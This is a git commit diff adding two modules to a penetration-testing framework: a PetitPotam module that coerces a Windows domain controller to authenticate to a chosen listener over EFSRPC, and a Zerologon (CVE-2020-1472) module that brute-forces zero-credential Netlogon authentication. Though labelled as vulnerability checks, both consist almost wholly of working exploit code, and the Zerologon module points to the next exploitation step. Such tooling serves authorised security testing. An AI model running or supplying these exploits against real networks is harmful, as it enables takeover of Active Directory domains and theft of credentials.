Add petitpotam & zerologon module
mpgn
parent
4acc9cf241
commit
a2a9d6dccc
|
|
@ -0,0 +1,233 @@
|
|||
# From https://github.com/topotam/PetitPotam
|
||||
# All credit to @topotam
|
||||
# Module by @mpgn_x64
|
||||
|
||||
import logging
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
|
||||
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
|
||||
class CMEModule:
|
||||
|
||||
name = 'petitpotam'
|
||||
description = "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
|
||||
supported_protocols = ['smb']
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
LISTENER IP of your listener
|
||||
PIPE Default PIPE (default: lsarpc)
|
||||
'''
|
||||
self.listener = "127.0.0.1"
|
||||
if 'LISTENER' in module_options:
|
||||
self.listener = module_options['LISTENER']
|
||||
self.pip = "lsarpc"
|
||||
if 'PIPE' in module_options:
|
||||
self.pipe = module_options['PIPE']
|
||||
|
||||
|
||||
def on_login(self, context, connection):
|
||||
print(connection.host)
|
||||
plop = CoerceAuth()
|
||||
dce = plop.connect(connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host, pipe=self.pipe, targetIp=connection.host)
|
||||
if plop.EfsRpcOpenFileRaw(dce, self.listener):
|
||||
context.log.highlight("VULNERABLE")
|
||||
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__( self ):
|
||||
key = self.error_code
|
||||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
|
||||
else:
|
||||
return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code
|
||||
|
||||
|
||||
################################################################################
|
||||
# STRUCTURES
|
||||
################################################################################
|
||||
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', '20s'),
|
||||
)
|
||||
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', '20s'),
|
||||
)
|
||||
class EFS_EXIM_PIPE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', ':'),
|
||||
)
|
||||
class EFS_HASH_BLOB(NDRSTRUCT):
|
||||
|
||||
structure = (
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
class EFS_RPC_BLOB(NDRSTRUCT):
|
||||
|
||||
structure = (
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
|
||||
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
('Type', DWORD),
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
|
||||
structure = (
|
||||
('Lenght', DWORD),
|
||||
('SID', RPC_SID),
|
||||
('Hash', EFS_HASH_BLOB),
|
||||
('Display', LPWSTR),
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
|
||||
structure = (
|
||||
('Lenght', DWORD),
|
||||
('SID', RPC_SID),
|
||||
('Hash', EFS_CERTIFICATE_BLOB),
|
||||
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Cert', DWORD),
|
||||
('Users', ENCRYPTION_CERTIFICATE_HASH),
|
||||
)
|
||||
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
|
||||
structure = (
|
||||
('Type', DWORD),
|
||||
('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST),
|
||||
('Certif', ENCRYPTION_CERTIFICATE),
|
||||
('Blob', EFS_RPC_BLOB),
|
||||
)
|
||||
class EFS_RPC_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', ':'),
|
||||
)
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
class EfsRpcOpenFileRaw(NDRCALL):
|
||||
opnum = 0
|
||||
structure = (
|
||||
('fileName', WSTR),
|
||||
('Flag', ULONG),
|
||||
)
|
||||
|
||||
class EfsRpcOpenFileRawResponse(NDRCALL):
|
||||
structure = (
|
||||
('hContext', EXIMPORT_CONTEXT_HANDLE),
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcEncryptFileSrv(NDRCALL):
|
||||
opnum = 4
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
)
|
||||
|
||||
class CoerceAuth():
|
||||
def connect(self, username, password, domain, lmhash, nthash, target, pipe, targetIp):
|
||||
binding_params = {
|
||||
'lsarpc': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
'efsr': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
|
||||
'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
|
||||
},
|
||||
'samr': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
'lsass': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
'netlogon': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
}
|
||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
|
||||
|
||||
if targetIp:
|
||||
rpctransport.setRemoteHost(targetIp)
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
#dce.set_auth_type(RPC_C_AUTHN_WINNT)
|
||||
#dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
logging.debug("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
logging.debug("Something went wrong, check error status => %s" % str(e))
|
||||
sys.exit()
|
||||
logging.debug("[+] Connected!")
|
||||
logging.debug("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0])
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR']))
|
||||
except Exception as e:
|
||||
logging.debug("Something went wrong, check error status => %s" % str(e))
|
||||
sys.exit()
|
||||
logging.debug("[+] Successfully bound!")
|
||||
return dce
|
||||
|
||||
def EfsRpcOpenFileRaw(self, dce, listener):
|
||||
logging.debug("[-] Sending EfsRpcOpenFileRaw!")
|
||||
try:
|
||||
request = EfsRpcOpenFileRaw()
|
||||
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
|
||||
request['Flag'] = 0
|
||||
#request.dump()
|
||||
resp = dce.request(request)
|
||||
|
||||
except Exception as e:
|
||||
if str(e).find('ERROR_BAD_NETPATH') >= 0:
|
||||
logging.debug('[+] Got expected ERROR_BAD_NETPATH exception!!')
|
||||
logging.debug('[+] Attack worked!')
|
||||
return True
|
||||
if str(e).find('rpc_s_access_denied') >= 0:
|
||||
logging.debug('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!')
|
||||
logging.debug('[+] OK! Using unpatched function!')
|
||||
logging.debug("[-] Sending EfsRpcEncryptFileSrv!")
|
||||
try:
|
||||
request = EfsRpcEncryptFileSrv()
|
||||
request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
|
||||
resp = dce.request(request)
|
||||
except Exception as e:
|
||||
if str(e).find('ERROR_BAD_NETPATH') >= 0:
|
||||
logging.debug('[+] Got expected ERROR_BAD_NETPATH exception!!')
|
||||
logging.debug('[+] Attack worked!')
|
||||
return True
|
||||
else:
|
||||
logging.debug("Something went wrong, check error status => %s" % str(e))
|
||||
|
||||
else:
|
||||
logging.debug("Something went wrong, check error status => %s" % str(e))
|
||||
|
|
@ -0,0 +1,93 @@
|
|||
# everything is comming from https://github.com/dirkjanm/CVE-2020-1472
|
||||
# credit to @dirkjanm
|
||||
# module by : @mpgn_x64
|
||||
|
||||
import sys
|
||||
from impacket.dcerpc.v5 import nrpc, epm
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket import crypto
|
||||
import hmac, hashlib, struct, sys, socket, time
|
||||
from binascii import hexlify, unhexlify
|
||||
from subprocess import check_call
|
||||
|
||||
# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
|
||||
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
|
||||
|
||||
class CMEModule:
|
||||
|
||||
name = 'zerologon'
|
||||
description = "Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472"
|
||||
supported_protocols = ['smb']
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
NOP No options
|
||||
'''
|
||||
|
||||
def on_login(self, context, connection):
|
||||
if perform_attack('\\\\' + connection.hostname, connection.host, connection.hostname):
|
||||
context.log.highlight("VULNERABLE")
|
||||
context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
|
||||
|
||||
def fail(msg):
|
||||
logging.debug(msg, file=sys.stderr)
|
||||
logging.debug('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
|
||||
sys.exit(2)
|
||||
|
||||
def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer):
|
||||
# Connect to the DC's Netlogon service.
|
||||
|
||||
|
||||
# Use an all-zero challenge and credential.
|
||||
plaintext = b'\x00' * 8
|
||||
ciphertext = b'\x00' * 8
|
||||
|
||||
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
|
||||
flags = 0x212fffff
|
||||
|
||||
# Send challenge and authentication request.
|
||||
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
|
||||
try:
|
||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||
rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||
target_computer + '\x00', ciphertext, flags
|
||||
)
|
||||
|
||||
|
||||
# It worked!
|
||||
assert server_auth['ErrorCode'] == 0
|
||||
return True
|
||||
|
||||
except nrpc.DCERPCSessionError as ex:
|
||||
# Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
|
||||
if ex.get_error_code() == 0xc0000022:
|
||||
return None
|
||||
else:
|
||||
fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
|
||||
except BaseException as ex:
|
||||
fail(f'Unexpected error: {ex}.')
|
||||
|
||||
def perform_attack(dc_handle, dc_ip, target_computer):
|
||||
# Keep authenticating until succesfull. Expected average number of attempts needed: 256.
|
||||
logging.debug('Performing authentication attempts...')
|
||||
rpc_con = None
|
||||
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
|
||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||
for attempt in range(0, MAX_ATTEMPTS):
|
||||
result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer)
|
||||
|
||||
if result is None:
|
||||
logging.debug('=', end='', flush=True)
|
||||
else:
|
||||
break
|
||||
if result:
|
||||
return True
|
||||
else:
|
||||
logging.debug('\nAttack failed. Target is probably patched.')
|
||||
|
||||
|
||||
Loading…
Reference in New Issue